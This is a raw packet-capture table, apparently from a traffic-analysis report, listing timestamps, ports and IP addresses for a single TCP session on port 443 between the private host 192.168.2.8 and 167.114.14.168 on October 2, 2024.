Oct 2, 2024 06:11:30.314476967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.315262079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.315280914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.315332890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.315339088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.315409899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.316174984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.316200972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.316246986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.316252947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.316276073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.316298008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.366076946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.366105080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.366169930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.366178036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.366226912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.401433945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.401487112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.401536942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.401544094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.401582956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.401602983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.402206898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.402225018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.402292013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.402296066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.402338982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.402609110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.402623892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.402698040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.402704000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.402746916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.407268047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.407291889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.407378912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.407388926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.407428026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.407444000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.407696009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.407711983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.407780886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.407784939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.407830954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.408124924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.408232927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.408251047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.408307076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.408312082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.408359051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.408551931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.408569098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.408639908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.408646107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.408700943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.456897020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.456913948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.456996918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.457011938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.457092047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.492224932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.492289066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.492311001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.492321968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.492360115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.492806911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.492824078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.492882967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.492887974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.493206024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.493264914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.493279934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.493336916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.493343115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.493393898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.493664026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.493681908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.493725061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.493730068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.493757010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.493776083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.494066954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.494085073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.494147062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.494153023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.494354010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.494690895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.494709969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.494765997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.494771957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.494890928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.495104074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.495127916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.495222092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.495229006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.495276928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.547537088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.547554970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.547657013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.547673941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.547686100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.547755957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.582987070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583056927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583076000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.583084106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583132029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.583343029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583358049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583415031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.583420992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583498001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.583826065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583842039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583895922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.583900928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.583950043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.584419012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.584475040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.584487915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.584491968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.584522963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.584539890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.585196972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585212946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585266113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.585270882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585297108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.585319042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.585524082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585546017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585602045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.585607052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585632086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.585653067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.585830927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585845947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585905075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.585911036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.585985899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.638197899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.638217926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.638294935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.638315916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.638396978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.673909903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.673927069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.673979044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.673988104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.674016953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.674026966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.674349070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.674365997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.674403906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.674408913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.674432993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.674448013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.674896002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.674912930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.674973965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.674983978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.675066948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.675321102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.675337076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.675410986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.675415993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.675451040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.675923109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.675937891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.675987959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.675992966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.676028013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.676048040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.676295042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.676317930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.676363945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.676371098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.676397085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.676414013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.676708937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.676726103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.676778078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.676784039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.676944017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.729082108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.729099035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.729160070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.729175091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.729219913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.764620066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.764669895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.764731884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.764740944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.764791012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.765113115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.765172005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.765173912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.765182018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.765229940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.765584946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.765599012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.765647888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.765652895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.766099930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.766120911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.766158104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.766164064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.766195059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.766225100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.766709089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.766722918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.766792059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.766798019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.766864061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.767143011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.767160892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.767200947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.767206907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.767231941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.767250061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.767527103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.767550945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.767581940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.767585993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.767625093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.767647982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.819890976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.819909096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.820070982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.820080042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.820133924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.855245113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.855268955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.855334044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.855340958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.855401993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.855731010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.855747938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.855787992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.855793953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.855834961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.855864048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.856246948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.856264114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.856318951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.856326103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.856376886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.856822968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.856837988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.856915951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.856921911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.857002974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.857340097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.857362986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.857405901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.857410908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.857439995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.857460022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.857738018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.857754946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.857795954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.857800961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.857831955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.857851982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.858107090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.858127117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.858175993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.858181953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.858208895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.858232975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.910626888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.910644054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.910717964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.910731077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.910763025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.910789967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.945969105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.945985079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.946060896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.946069002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.946155071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.946592093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.946605921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.946780920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.946788073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.946906090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.947129965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.947144032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.947212934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.947217941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.947493076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.947499037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.947513103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.947560072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.947565079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.947591066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.947609901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.947854996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.947870016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.947941065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.947948933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.948077917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.948529959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.948543072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.948609114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.948613882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.948697090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.948770046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.948782921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.948834896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.948841095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.948913097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.001249075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.001266003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.001344919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.001353979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.001401901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.036845922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.036861897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.036945105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.036952019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.037002087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.037285089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.037298918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.037342072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.037347078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.037394047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.037394047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.037851095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.037866116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.037921906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.037928104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.037966967 CEST	49723	443	192.168.2.8	167.114.14.168
